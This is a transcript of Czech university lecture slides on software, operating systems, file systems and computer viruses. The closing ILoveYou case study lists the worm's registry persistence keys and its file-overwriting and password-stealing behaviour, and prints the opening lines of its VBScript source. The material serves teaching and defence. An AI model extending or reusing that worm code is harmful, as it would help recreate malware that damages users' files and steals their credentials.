Prezentace se nahrává, počkejte prosím

Prezentace se nahrává, počkejte prosím

Základy informatiky a výpočetní techniky 1

Podobné prezentace


Prezentace na téma: "Základy informatiky a výpočetní techniky 1"— Transkript prezentace:

1 Základy informatiky a výpočetní techniky 1
Ústav automatizace inženýrských úloh a informatiky FAST VUT v Brně Základy informatiky a výpočetní techniky 1 PROGRAMOVÉ VYBAVENÍ, OPERAČNÍ SYSTÉMY © 1999 – 2002, Michal Vojkůvka

2 Programové vybavení (software)
základní programové vybavení (operační systémy) prostředky pro tvorbu aplikačního programového vybavení (vývojová prostředí, ...) aplikační programové vybavení (kancelářské aplikace, CAD, hry, ...) Nejznámější programovací jazyky Pascal, C, C++, Java, VisualBasic, Fortran, ... Konkrétní ilustrační příklady uváděné v dalším textu jsou zaměřeny zejména na operační systém MS Windows 2000.

3 Hodnocení programového vybavení
funkčnost a variabilita propustnost – objem dat a množství operací, které je schopen program zpracovat za jednotku času; úzce souvisí s parametry technického vybavení spolehlivost – jak plní požadované funkce, odolnost vůči chybám uživatele i technického vybavení doba odezvy – souvisí též s technickým vybavením náročnost z hlediska obsluhy – zejména uživatelská přívětivost (user friendly software) úroveň dokumentace – rozsah, přehlednost, názornost, ... adaptabilita – schopnost reagovat na změny ve funkčnosti portabilita – přenositelnost programu na počítač jiného typu nebo výrobce cena – tvoří stále vyšší podíl na ceně celého výpočetního systému

4 Životní cyklus programového díla
specifikace problému – zadání problému, návrh komunikace s programem analýza – vytvoření logického modelu řešeného systému návrh – rozklad na dílčí problémy, návrh metody řešení implementace – návrh reprezentace dat, návrh algoritmů, zápis v programovacím jazyce, ladění tvorba dokumentace – s cílem umožnit snadné používání jiným uživatelům testování – ověření správné funkce programu provoz a údržba – odstranění zjištěných nedostatků a přizpůsobení programu dodatečným požadavkům

5 Co uvádějí statistiky? 31 % všech softwarových projektů je zastaveno, aniž by byly dokončeny dle zadání více než 70 % zbývajících je dodáno, aniž by splnily očekávání zadavatelů průměrný projekt je dokončen za 189 % plánovaných nákladů a 222 % plánovaného času jen 9 % velkých projektů bylo dokončeno včas a za plánovanou cenu jen 16 % projektů v malých firmách bylo dokončeno včas a za plánovanou cenu „Počítač udělá to, co naprogramuješ, ne to, co chceš.“

6 Operační systém (OS) soubor programů, které řídí činnost technického vybavení počítače a umožňují a usnadňují činnost aplikací hlavním úkolem OS je zprostředkovat vazbu mezi technickým vybavením počítače a aplikacemi OS poskytuje aplikacím služby a aplikace voláním těchto služeb ovládají technické vybavení počítače aplikace by neměly mít přímý přístup k technickému vybavení počítače Aplikace Operační systém Technické vybavení

7 Layers of a Computer System

8 Funkce operačního systému
řídí a spravuje technické prostředky – přiděluje čas procesoru, paměť, vstupní a výstupní zařízení, ... spravuje data – řídí jejich vstup a výstup, přístup k nim, uchování , ... řídí zpracování úloh – jejich přípravu, plánování a průběh tak, aby byla zajištěna maximální efektivita jejich zpracování podporuje komunikaci uživatele s počítačem – formou uživatelského rozhraní, informuje též uživatele o vzniklých problémech či chybách podporuje bezpečnost a spolehlivost výpočetního systému – formou různých úrovní přístupových práv apod.

9 Operační systémy – důležité pojmy
driver (ovladač) – tvoří rozhraní mezi různorodými periferiemi a jednotnou komunikaci mezi nimi; ovladač je závislý na typu periferie; do operačního systému se začleňuje instalací bootování – zavádění operačního systému do operační paměti počítače multitasking – možnost provádění více úloh současně kooperativní (nonpreemtivní) – přiděluje procesům čas procesoru na takovou dobu, jakou proces požaduje preemtivní – přidělování času procesoru řídí OS, po určité době je řízení předáno jinému procesu; oproti kooperativnímu multitaskingu je méně zranitelný (havárie jednoho procesu obvykle neznamená havárii celého systému)

10 Operating Systems – Important Terms
kernel – portion of operating system that is in main memory; contains most-frequently used functions; also called the nucleus process – a program in execution; an instance of a program running on a computer; the entity that can be assigned to and executed on a processor; consists of of three components: an executable program associated data needed by the program execution context of the program

11 Characteristics of Modern OS
Microkernel architecture – assigns only a few essential functions to the kernel address space interprocess communication (IPC) basic scheduling Multithreading – process is divided into threads that can run simultaneously Thread – dispatchable unit of work; executes sequentially and is interruptable process is a collection of one or more threads

12 Rozdělení operačních systémů
jednouživatelské jednoúlohové (single-user single-task) např. CP/M, MS-DOS; s podporou OS běží pouze jedna aplikace jednouživatelské víceúlohové (single-user multi-task) např. Windows 95, Windows 98; jeden uživatel může mít současně spuštěno více aplikací víceuživatelské víceúlohové (multi-user multi-task) např. UNIX, Linux; umožňují zpracovávat požadavky více uživatelů současně systémy s reálným časem (real time) – zejména pro řízení technologických procesů

13 Komunikace uživatele s OS
způsob, jakým uživatel dává pokyny pro OS a v jaké formě dostává zprávy o výsledku provedené operace, je označován jako uživatelské rozhraní (User Interface) existují v podstatě dvě formy uživatelského rozhraní: textové uživatelské rozhraní – např. MS-DOS, uživatel zadává pokyny prostřednictvím tzv. příkazového řádku grafické uživatelské rozhraní (Graphical User Interface, GUI) – převážná většina současných operačních systémů, obvykle též možnost zapisovat příkazy v příkazovém řádku

14 Komunikace uživatele s OS
Textové uživatelské rozhraní Grafické uživatelské rozhraní

15 Organizace dat na disku
Diskové jednotky počítače označovány písmeny A až Z A:, B: - disketové jednotky C: - systémová část pevného disku D:, E:, další (logické) pevné disky - vnější paměti (CD-ROM, ZIP, ...) - namapované síťové disky Příklad: A: disketová jednotka C: systémová část pevného disku 10 GB D: logický pevný disk 10 GB E: jednotka CD-ROM Q: síťový disk Data na discích C: a D: mohou být ve skutečnosti uložena na jediném pevném disku s kapacitou 20 GB (podle konfigurace počítače).

16 Organizace dat na disku
Logické rozdělení disku – příklad Fyzický disk 10 GB Primární oblast 4 GB Rozšířená 6 GB D: 3 GB C: E: Pevný disk Oblasti (partitions) Logické disky

17 Organizace dat na disku - soubory
Soubor (File) množina logicky souvisejících prvků „pojmenovaná posloupnost bajtů uložená na záznamovém médiu“ název souboru se skládá ze jména a přípony (např. faktura.doc, calc.exe apod.) přípona je nepovinná (ale téměř vždy se používá) a je od jména oddělena tečkou přípona obvykle určuje typ (formát) souboru pravidla pro pojmenování souborů závisí na konkrétním operačním systému v názvu souboru nejsou obvykle povoleny znaky \ / : * ? < > |

18 Organizace dat na disku - soubory
v operačním systému MS-DOS mohlo mít jméno souboru délku max. 8 znaků a přípona max. 3 znaky operační systém UNIX rozlišuje velká a malá písmena v názvech souborů Nejednoznačná specifikace souborů používá se tzv. hvězdičková konvence (wildcards) jméno a přípona souboru se nemusí uvádět jednoznačně, lze použít zástupných znaků * a ? * zastupuje libovolný počet (i žádný) znaků ? zastupuje vždy jeden libovolný znak použití je možné téměř ve všech příkazech, kde se vyskytuje jméno souboru

19 Organizace dat na disku - soubory
Nejednoznačná specifikace souboru Příklad: Předpokládejme soubory (v jedné složce) dop.exe dopis.rtf dopis.txt dopis2.doc dopis3.txt doporuc.txt Následující zápisy potom specifikují tyto soubory: dopis*.* dopis.rtf dopis.txt dopis2.doc dopis3.txt dop*.* všechny soubory, protože všechny začínají na dop dop.* dop.exe dopis?.* dopis2.doc dopis3.txt dopis.?? žádný soubor (přípona by musela mít délku 2 znaky) dop.?x? dop.exe dop*.?x? dop.exe dopis.txt dopis3.txt doporuc.txt *.* všechny soubory *.txt dopis.txt dopis3.txt doporuc.txt (všechny soubory s příponou txt)

20 Organizace dat na disku - soubory

21 Organizace dat na disku - soubory
Přípony souborů (File Extensions) Spustitelné soubory, skripty exe (executable file) com (command file) bat (batch file) – dávkový soubor vbs (Visual Basic Script file) js (JScript, JavaScript file) Textové dokumenty txt (text file) doc (MS Word Document, příp. jiný fomát) rtf (Rich Text Format) ps (PostScript) pdf (Portable Document Format) 602 (Text602)

22 Organizace dat na disku - soubory
Přípony souborů Hypertextové dokumenty htm, html (HyperText Markup Language) Grafické soubory (obrázky) jpg, jpe, jpeg (Joint Photographic Experts Group) gif (Graphical Interchange Format) png (Portable Network Graphics) bmp (Bitmap file) pcx (PC Paintbrush format) tif, tiff (Tag Image File Format)

23 Organizace dat na disku - soubory
Přípony souborů Zvukové soubory mp3, mpeg3 (MPEG Audio Layer 3) wav (Waveform sound) ra (Real Audio) mid (Musical Instrument Digital Interface – MIDI) Multimediální formáty (audio/video) mpg, mpeg (Moving Picture Experts Group) avi (Audio Video Interleaved) asf (Advanced Streaming Format) qt (QuickTime) mov (Movie)

24 Organizace dat na disku - soubory
Přípony souborů Archivní soubory (komprimované) – viz dále zip rar arj gz, gzip (zejména v OS UNIX) příp. exe (self-extracting archive – samorozbalující) Další formáty xls (MS Excel Spreadsheet) ppt (MS PowerPoint Presentation) ttf (True Type Font) dwg (Autocad Drawing) dll (Dynamic Link Library – dynamická knihovna) bak (backup file – záložní soubor) tmp (temporary file – dočasný soubor)

25 Organizace dat na disku - soubory
Asociace využití přípony souboru k vyvolání akce, která je s touto příponou spojena (např. soubor s příponou XLS  spuštění aplikace MS Excel a automatické načtení toho souboru) daná aplikace však musí požadovaný formát souboru podporovat

26 Organizace dat na disku - adresáře
Adresář (directory) / složka (folder) adresář (nebo podadresář) je prostor na disku, který může obsahovat soubory nebo další (pod)adresáře adresáře tvoří hierarchickou stromovou strukturu adresář je určen svým jménem podle stejných pravidel jako název souboru (přípona se však obvykle nepoužívá) na disku je vždy adresář, který se nazývá hlavní (kořenový, root) a je označen znakem \ v různých adresářích mohou existovat podadresáře nebo soubory se stejným názvem od operačního systému Windows 95 je pojem adresář nahrazen pojmem složka

27 Organizace dat na disku - cesty
konkrétní soubor je jednoznačně určen označením disku, posloupností adresářů vedoucích do adresáře, kde je soubor uložen (tzv. cesta), a vlastním názvem souboru Cesta (path) určuje přesné umístění souboru ve stromové struktuře adresářů je dána jmény jednotlivých do sebe zanořených adresářů oddělených oddělovacím znakem jako oddělovací znak se obvykle používá \ nebo / cestu lze zapsat jako absolutní (úplnou) – začíná vždy kořenovým adresářem, příp. i označením disku relativní (neúplnou) – začíná aktuálním adresářem

28 Organizace dat na disku - cesty
Absolutní cesta Aktuální adresář C:\Dokumenty C:\Dokumenty\recenze.doc C:\Dokumenty\Pracovní\adresy.doc C:\Dokumenty\Záloha\photo.jpg

29 Organizace dat na disku - cesty
Konvence . aktuální adresář .. rodičovský (nadřazený) adresář recenze.doc (nebo .\recenze.doc) Osobní\doporuc.txt adresy.doc (nebo .\adresy.doc) ..\škola.txt ..\Osobní\dopis.rtf Relativní cesta Aktuální adresář C:\Dokumenty Aktuální adresář C:\Dokumenty\Pracovní

30 Organizace dat na disku - komprese
Komprese souborů (file compression) speciální metoda vedoucí ke zmenšení velikosti souboru (souborů) beze ztráty informace (ve speciálních případech může ke ztrátě dojít) programy pro kompresi souborů umožňují vytvořit z vybraných souborů a adresářů jediný soubor, jehož objem je menší než součet velikostí jednotlivých souborů v balíku (archivu) mezi nejznámější formáty používané pro kompresi souborů patří ZIP, RAR, ARJ, ... provést kompresi se obvykle říká „zazipovat“ nebo „zabalit“; místo pojmu dekomprimovat se často požívá „rozbalit“ komprese a dekomprese dat může být též prováděna on-line (např. s podporou operačního systému)

31 Organizace dat na disku - komprese
5 018 / = 0,13 1 – 0,13 = 0,87 „úspora“ 87 % 160 KB 37,5 KB

32 Organizace dat na disku - komprese
Kompresní poměr vždy záleží na konkrétním typu souboru. 4,02 MB 3,65 MB

33 Organizace dat na disku
cluster (klastr, alokační jednotka) – nejmenší logická datová jednotka na disku, skupina několika sektorů počet sektorů v clusteru souvisí s kapacitou disku, čím větší je disk, tím větší bývá i velikost clusteru i když uložíme na disk soubor o velikosti jen 1 B, obsadíme tím ve skutečnosti celý cluster, protože cluster je nejmenší logická datová jednotka na disku Master Boot Record (MBR) – uložen v nultém sektoru nulté stopy disku, má dvě části: tabulku oblastí (partition table) zaváděcí záznam – krátký program spouštěný BIOSem při startu počítače, jeho úkolem je načíst tabulku oblastí a najít aktivní oblast (tu, z níž se načte systém)

34 Organizace dat na disku
virtuální paměť – slouží ke „zvětšení“ kapacity operační paměti. Pokud systém potřebuje více paměti než je dostupná fyzická paměť RAM, jsou do souboru virtuální paměti na pevném disku odkládány právě nepoužívané paměťové bloky. Jde pochopitelně o jakousi „nouzovou“ paměť, protože přístup k pevnému disku je mnohem pomalejší než k paměti RAM. defragmentace – neustálá práce se soubory na pevném disku (ukládání, mazání) má za následek, že uložené soubory jsou „rozkouskovány“ na několik částí. Defragmentace roztroušené kousky souborů uspořádá tak, aby obsah jednotlivých souborů byl uložen co nejvíce pohromadě (např. v po sobě jdoucích clusterech), čímž se urychlí práce s těmito soubory.

35 Virtual Memory using a disk as an extension of RAM so that the effective size of usable memory grows correspondingly is managed by an operating system the OS will write the contents of a currently unused block of the main memory to the hard disk so that the memory can be used for another purpose when the original contents are needed again, they are read back into memory this is all made completely transparent to the user of course, reading and writing the hard disk is slower than using RAM, so the programs don't run as fast

36 Virtual Memory – cont’d
the part of the hard disk that is used as virtual memory is called the swap space the cache concept is intended to bridge the speed gap between the CPU and the main memory the virtual-memory concept bridges the size gap between the main memory and the socondary storage

37 Defragmentation each file is stored as a linked list of clusters
fragmentation: a result of the creation and deletion of files over a period of time defragmentation reduces data access time and allows storage to be used more efficiently

38 Defragmentation – example
let's consider a disk that contains only 12 clusters initially, all clusters are empty create four files: file A takes up 1 cluster, B takes 4, C takes 2, D takes 3 delete the file C create new file E that needs 3 clusters delete files A and E create file F which takes up 4 clusters after defragmentation 1 2 3 4 5 6 7 8 9 10 11 12 A B C D A B D A B E D B D F B D B F D

39 Typy souborových systémů
FAT (File Allocation Table) – tabulka umístění souborů 12-bitová FAT (FAT12) – pouze na disketách 16-bitová FAT (FAT16) 32-bitová FAT (FAT32) NTFS (New Technology File System) – umožňuje definovat přístupová práva pro jednotlivé soubory a adresáře

40 Typy souborových systémů
FAT (File Allocation Table) – tabulka umístění souborů Velikost oblasti FAT32 Velikost clusteru < 260 MB 512 B *) 260 MB – 8 GB 4 KB 8 GB – 16 GB 8 KB 16 GB – 32 GB 16 KB 32 GB – 2 TB 32 KB *) omezené použití

41 FAT12, FAT16, FAT32 – srovnání FAT12: The oldest type of FAT uses a 12-bit binary number to hold the cluster number. A volume formatted using FAT12 can hold a maximum of 4086 clusters, which is 212 minus a few values (to allow for reserved values to be used in the FAT). FAT12 is therefore most suitable for smaller volumes, and is used on floppy disks and hard disk partitions smaller than about 16 MB. FAT16: The FAT used for most hard disk partitions uses a 16-bit binary number to hold cluster numbers. When you see someone refer to a "FAT" volume generically, they are usually referring to FAT16, because it is the de facto standard for hard disks. A volume using FAT16 can hold a maximum of clusters, which is 216 less a few values (again for reserved values in the FAT). FAT16 is used for hard disk volumes ranging in size from 16 MB to 2048 MB. FAT32: The newest FAT type, FAT32 is supported by Windows 95's OEM SR2 release, as well as Windows 98. FAT32 uses a 28-bit binary cluster number –not 32, because 4 of the 32 bits are "reserved". 28 bits is still enough to permit ridiculously huge volumes – FAT32 can theoretically handle volumes with over 268 million clusters, and will support (theoretically) drives up to 2 TB in size. However to do this the size of the FAT grows very large.

42 Maximum Number of Clusters
FAT12, FAT16, FAT32 – srovnání Attribute FAT12 FAT16 FAT32 Used for Floppies and small hard disk volumes Small to large hard disk volumes Medium to very large hard disk volumes Size of Each FAT Entry 12 bits 16 bits 28 bits Maximum Number of Clusters 4 086 65 526 ~ Cluster Size Used 0.5 KB to 4 KB 2 KB to 32 KB 4 KB to 32 KB Maximum Volume Size ~ 16 MB ~ 2.1 GB about 241 ~ 2 TB

43 Podporované souborové systémy
Podpora souborových systémů Operační systém Podporované souborové systémy MS-DOS FAT16 MS Windows 95*, 98, Me FAT16, FAT32 MS Windows NT FAT16, NTFS MS Windows 2000, XP FAT16, FAT32, NTFS

44 Zjištění typu souborového systému

45 Zavádění operačního systému
testovací a diagnostické programy (s využitím služeb BIOSu) zavaděč nalezne systémový disk načte do RAM zaváděcí záznam zaváděcí záznam zahájí načítání dalších systémových souborů (jádra) This procedure may differ slightly for various computers and operating systems.

46 Nejznámější operační systémy
MS-DOS (MicroSoft – Disk Operating System) Windows 95, Windows 98, Windows Me (Millennium Edition) Windows NT (New Technology), Windows 2000, Windows XP (Experience) OS/2 (IBM) LINUX, UNIX, … Microsoft

47 Dvě „vývojové větve“ MS Windows

48 Další operační systémy
Linux

49 Operační systém MS-DOS
dříve velice populární diskový jednouživatelský jednoúlohový operační systém používaný na osobních počítačích

50 Operační systém MS-DOS
Základní příkazy nápověda: příkaz /? spuštění programu: soubor nebo cesta\soubor změna aktuálního disku: disk: změna aktuálního adresáře do přímo podřízeného: cd adresář do libovolného: cd cesta\adresář do nadřízeného: cd .. obsah aktuálního adresáře plný výpis: dir zhuštěný výpis: dir /w s pozastavením výpisu: dir /p (dir | more) vytvoření adresáře: md jméno zrušení adresáře: rd jméno smazání souboru: del soubor přejmenování souboru: ren stary novy výpis obsahu souboru: type soubor přesun souboru: move co kam kopírování souboru: copy co kam vytvoření systémového disku: sys disk: rozdělení disku: fdisk formátování disku: format disk:

51 Operační systém UNIX pro každý soubor a adresář se definují přístupová práva pro vlastníka (U) skupinu vlastníka (G) ostatní (O) možná práva jsou R (read) – čtení souboru, prohlížení obsahu adresáře W (write) – změna a výmaz souboru, vytvoření a smazání adresáře X (execute) – možnost spuštění souboru, možnost vstupu do adresáře drwxrwxrwx -rw-r drwxr-xr-x

52 Operační systém UNIX Základní příkazy nápověda: man příkaz
spuštění programu: cesta/soubor změna aktuálního adresáře do přímo podřízeného: cd adresář do libovolného: cd cesta/adresář do nadřízeného: cd .. obsah aktuálního adresáře plný výpis: ls –l (ll) zhuštěný výpis: ls –f (lsf) s pozastavením výpisu: ll | more vytvoření adresáře: mkdir jméno zrušení adresáře: rmdir jméno smazání souboru: rm soubor přejmenování souboru: mv stary novy výpis obsahu souboru: cat soubor přesun souboru: mv co kam kopírování souboru: cp co kam

53 General UNIX Architecture

54 Windows NT Windows NT Workstation – OS pro síťové stanice
Windows NT Server – výkonný server pro síť typu Klient-Server Některé vlastnosti systému: větší nezávislost na platformě (využití tzv. HAL) preemptivní multitasking ověřování uživatele při přístupu do systému NTFS – ochrana dat na serveru a pracovní stanici podpora všech běžných protokolů pro komunikaci v  LAN a WAN nové grafické nástroje pro správu systému doménová koncepce Doména = logická skupina počítačů se společnou databází uživatelů a zabezpečovacích informací vyšší spolehlivost systému

55 Nastavení konfigurace ovládací panely
registr - aplikace regedit nebo regedt32 HKEY_CURRENT_USER - konfigurace aktuálně přihlášeného uživatele HKEY_USERS – profily všech uživatelů definovaných na daném počítači HKEY_LOCAL_MACHINE – konfigurace počítače (pro všechny uživatele) HKEY_CLASSES_ROOT – součást HKEY_LOCAL_MACHINE HKEY_CURRENT_CONFIG – údaje o právě používaném HW profilu Uživatelské účty Skupiny: lokální globální Některé standardní skupiny: Everyone Administrators System

56 Windows 2000 Nové programy dodávané s Windows 2000 Editor fontů
Narrator - popíše hlasem to, na co ukáže uživatel myší Fax Telefon (přes Internet, možnost videokonference) Nové možnosti při odinstalování softwaru je možno zjistit, jak často je daný program spouštěn, kolik zabírá místa, … spouštění aplikací jako jiný uživatel stav hibernace

57 Windows 2000 Stav hibernace
zabere na HDD tolik místa, jak velká je operační paměť spuštění počítače ze stavu hibernace trvá jen asi 10 s a automaticky se spustí i aplikace, které byly spuštěny při přechodu do režimu hibernace musí se aktivovat: OBRAZOVKA  VLASTNOSTI  SPOŘIČ OBRAZOVKY  NAPÁJENÍ  REŽIM SPÁNKU  ZAPNOUT PODPORU REŽIMU SPÁNKU režim hibernace musí podporovat i základní deska

58 Windows 2000 exploits the power of today’s 32-bit microprocessors
modular structure for flexibility executes on a variety of hardware platforms modified microkernel architecture not a pure microkernel many system functions outside of the microkernel run in kernel mode any module can be removed, upgraded, or replaced without rewriting the entire system

59 Windows 2000 – Layered Structure
Hardware Abstraction Layer (HAL) isolates the operating system from platform- specific hardware differences Microkernel most-used and most fundamental components of the operating system Device drivers translate user I/O function calls into specific hardware device I/O requests

60 W2K Executive I/O manager Object manager Security reference monitor
Process/thread manager Local procedure call (LPC) Facility Virtual memory manager Cache manager Windows/graphics modules

61 Windows 2000 – User Processes
Special system support processes Ex: logon process and the session manager Server processes Environment subsystems User applications

62 Windows 2000 – Client/Server Model
Simplifies the Executive - possible to construct a variety of APIs Improves reliability - each service runs as a separate process with its own partition of memory - clients cannot not directly access hardware Provides a uniform means fro applications to communicate via LPC Provides base for distributed computing

63 Windows 2000 – Threads and SMP
SMP – Symmetric Multiprocessing Different routines can execute simultaneously on different processors Multiple threads of execution within a single process may execute on different processors simultaneously Server processes may use multiple threads Share data and resources between process

64 Windows 2000 Architecture

65 Sdílení prostředků disk, adresář, soubor, jiná zařízení - lze nabídnout ke sdílení možnost nastavení přístupových práv ke sdílenému prostředku

66 Souborový systém NTFS Některá standardní oprávnění:
dlouhá jména, vlastník, přístupová práva pro soubory a adresáře jsou k dispozici přístupová práva: R Read – zobrazení souborů a adresářů, čtení souborů W Write – možnost zápisu a změny obsahu souborů a adresářů X eXecute – lze spustit soubor nebo adresář se může stát aktuálním D Delete – rušení souborů a adresářů P Change Permissions – možnost změnit oprávnění pro soubor (adresář) O Take Ownership – možnost převzít vlastnictví souboru (adresáře) Některá standardní oprávnění: Read (RX) (RX) Change (RWXD) (RWXD) Full Control All All No Access

67 Windows Me Windows Millenium Edition
Deset hlavních důvodů pro inovaci na OS Windows Me importování a úprava domácích videofilmů přesun sbírky fotografií z krabice od bot na pevný disk vytvoření archivu a rejstříku oblíbené hudby ochrana důležitých souborů obnovení původních nastavení počítače nalezení odpovědí na hledané otázky použití počítače k programování videa či termostatu propojení počítačů v domácnosti efektivnější komunikace s přáteli a spolupracovníky hraní her na nové úrovni

68 Windows XP Windows XP Professional – vhodný pro firmy a náročné uživatele; postaven na základě jádra použitého v systémech Windows 2000 a Windows NT Workstation – NT Kernel; vysoká úroveň výkonu, bezpečnosti a stability Windows XP Home Edition – zejména pro domácí použití

69 Windows CE Windows pro přenosná zařízení typu Handheld PC nebo Palm PC
zcela odlišná verze Windows, která není kompatibilní s X86 based Windows začínají uplatňovat jako AutoPC tj. počítač do auta

70 Literatura williamstallings.com

71 Kontrolní otázky Uveďte nejznámější programovací jazyky.
Definujte pojmy adaptabilita, portabilita a kompatibilita (programového vybavení). Co to je operační systém? Proč by aplikace neměly mít přímý přístup k technickým prostředkům? Uveďte základní funkce operačního systému. Vysvětlete pojmy driver, bootování. Co to je multitasking? Jaký je rozdíl mezi kooperativním a preemptivním multitaskingem? Uveďte nejznámější víceuživatelské operační systémy. Vysvětlete pojem uživatelské rozhraní operačního systému.

72 Kontrolní otázky Uveďte nejznámější operační systémy používané na osobních počítačích. Co to je soubor (file)? Z čeho se skládá název souboru? Jaké znaky nejsou obvykle povoleny v názvu souboru? Jaké zástupné znaky se používají při nejednoznačné specifikaci souborů? Jaký mají tyto znaky význam? Uveďte nejčastěji používané přípony spustitelných souborů, textových dokumentů, grafických, zvukových a multimediálních souborů. Co to je asociace? Co to je adresář (directory) / složka (folder)? K čemu slouží cesta (path)? Uveďte rozdíl mezi absolutní a relativní cestou.

73 Kontrolní otázky Proč se soubory komprimují? V jakých případech lze použít ztrátovou metodu komprese? Uveďte nejznámější formáty používané pro kompresi souborů. Co to je cluster? K čemu slouží a co obsahuje Master Boot Record? Vysvětlete pojmy FAT a NTFS. Jaký je mezi nimi základní rozdíl? Které operační systémy podporují souborový systém NTFS? Popište zavádění operačního systému. K čemu slouží virtuální paměť? Co to je defragmentace souborů?

74 Základy informatiky a výpočetní techniky 1
Ústav automatizace inženýrských úloh a informatiky FAST VUT v Brně Základy informatiky a výpočetní techniky 1 Počítačové viry © 1999 – 2002, Michal Vojkůvka

75 Počítačové viry termín počítačový virus byl poprvé použit v roce ve vědecko-fantastickém románu Davida Herolda When Harley Was One (neodpovídá dnešnímu pojetí) termín počítačový virus byl poprvé definován Fredem Cohenem v roce 1983 první virus na počítačích třídy IBM PC s operačním systémem MS-DOS se objevil v lednu (pákistánský virus Brain) počítačový virus má dvě základní funkce: vkládá sám sebe do jiných programů (tj. infikuje je) provádí nějakou (většinou škodlivou) činnost

76 Typy infiltrací trojské koně (Trojan Horses) – většinou nedochází k samovolnému rozmnožování červi (Worms) – v prostředí počítačových sítí „zadní vrátka“ (Backdoors) – využívají hackeři, např. Troj/Qaz (srpen 2000) viry (Viruses)– nejčastější typ infiltrace, často se používá jako univerzální označení

77 Princip činnosti počítačového viru
mechanismus šíření viru – musí zajistit infikování dalších programů a dalších počítačů mechanismus obrany viru – zajišťuje utajení před uživatelem a před antivirovými programy mechanismus vlastní činnosti viru – provádí jisté (zpravidla škodlivé) akce na infikovaném počítači

78 Projevy počítačových virů
destrukce dat zobrazování různých zpráv na obrazovce vyluzování různých zvuků a melodií (Yankee Doodle) vtipkování s uživatelem (vkládání vtipných komentářů do textových souborů, různé animace, ...) simulace selhání technického vybavení zpomalování činnosti počítače

79 Vlastnosti počítačových virů
současné počítačové viry nemohou poškodit technické vybavení počítače, mohou však smazat obsah paměti Flash-BIOS u některých základních desek a tím znemožnit chod počítače – viry CIH (Černobyl), Emperor a FlashKiller existují „mýty“ o poškozování FDD, HDD, monitorů apod., většinou však jde o chybně navržená zařízení virus se nemůže zapsat na disketu ochráněnou proti zápisu formátováním pevného disku se virus nemusí vždy odstranit, neboť kód viru může být zapsán ještě v Master Boot Recordu (MBR)

80 Pojmenování počítačových virů
přímo autorem viru (AIDS, Brain, Alabama) podle místa svého odhalení (Durban, Suomi, Taiwan) podle činnosti, kterou provádí (Flip, Ping-Pong, Jo-Jo, Yankee Doodle) podle délky, o níž zvětšuje infikované soubory (405, , 4096) podle data aktivace (Friday 13th, December 24th, Advent)

81 Motivační impulsy tvůrců virů
legrace touha po slávě prostředek seberealizace prostá lidská zvědavost snaha škodit, ničit, ublížit ekonomický zisk

82 Dělení virů podle napadených oblastí
boot viry (Boot Viruses) – napadají boot sektor, MBR a tím si zajistí své spuštění hned při startu počítače souborové viry (File Viruses) – jejich hostitelem jsou soubory, podle způsobu infekce se dělí souborové viry na přepisující, parazitické a doprovodné multipartitní viry (Multipartite Viruses) – napadají více částí (boot sektor i soubory) makroviry (Macroviruses) – šíří se v prostředí aplikací podporujících makra (MS Word, MS Excel)

83 Antivirové programy slouží k detekci a odstranění počítačových virů a prevenci proti případné nákaze je třeba provádět jejich pravidelnou aktualizaci nejznámějšími antivirovými programy jsou AVG, AVAST, SCAN, Norton Antivirus, F-Prot, … v dnešní době je známy desetitisíce různých počítačových virů

84 Prevence proti počítačovým virům
používat legální programové vybavení používat antivirové programy změnit bootovací sekvenci na C:, A: (v setupu) vypnout WSH (Windows Script Host) místo souborů DOC používat raději soubory RTF (pozor na pouhou změnu přípony!) u neznámých dokumentů MS Office zakázat makra raději používat jen prohlížeče než samotné aplikace nespouštět žádné podezřelé programy (z Internetu) zálohovat důležitá data

85 Počítačový virus ILoveYou
šíří se prostřednictvím elektronické pošty („červ“) zpráva, která dorazí, má předmět ILOVEYOU, tělo zprávy obsahuje text „kindly check the attached LOVELETTER coming from me“ a přílohou zprávy je soubor LOVE-LETTER-FOR-YOU.TXT.VBS, který obsahuje vlastní virus pro šíření potřebuje program MS Outlook (zde bere ové adresy dalších obětí, na které se automaticky rozešle) a nainstalovanou podporu WSH (Windows Scripting Host), protože je napsán v jazyce VBScript po spuštění souboru LOVE-LETTER-FOR-YOU.TXT.VBS se virus usadí v systému

86 Počítačový virus ILoveYou
vytvoří nové klíče v registrech HKLM\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32 HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL tak, aby se virus aktivoval při každém spuštění počítače ve složce C:\WINDOWS\SYSTEM pak vytvoří soubory MSKERNEL32.VBS a Win32DLL.VBS na pevných i síťových discích vyhledává soubory s příponami VBS, VBE, JS, JSE, CSS, WSH, SCT, HTA, jejichž obsah přepíše svým tělem a příponu změní na VBS v případě souborů JPG a JPEG se přepíše obsah a k původní příponě se doplní navíc VBS obsah souborů MP2 a MP3 zůstává ušetřen

87 Počítačový virus ILoveYou
neexistuje-li soubor C:\WINDOWS\WINFAT32.EXE, nastaví domovskou stránku Internet Exploreru tak, aby ze serveru stahoval soubor WIN-BUGSFIX.EXE, který obsahuje trojského koně, jenž se usadí do souboru WINFAT32.EXE a snaží se em odesílat určitá data (hesla, …) šíří se i prostřednictvím mIRC tak, že se virus rozešle účastníkům kanálů, na kterých někdo z nakaženého prostředí chatuje 4. května 2000 nakazil tento virus během několika hodin milióny počítačů po celém světě a zasloužil si tím pozornost médií

88 Počítačový virus ILoveYou
Ukázky zdrojového kódu (jazyk VBScript) rem barok -loveletter(vbe) <i hate go to school> rem by: spyder / Group / Manila,Philippines On Error Resume Next dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow eq="" ctr=0 Set fso = CreateObject("Scripting.FileSystemObject") set file = fso.OpenTextFile(WScript.ScriptFullname,1) vbscopy=file.ReadAll main() sub main() dim wscr,rr set wscr=CreateObject("WScript.Shell") rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting  Host\Settings\Timeout") if (rr>=1) then wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting  Host\Settings\Timeout",0,"REG_DWORD" end if pokračování …

89 Počítačový virus ILoveYou
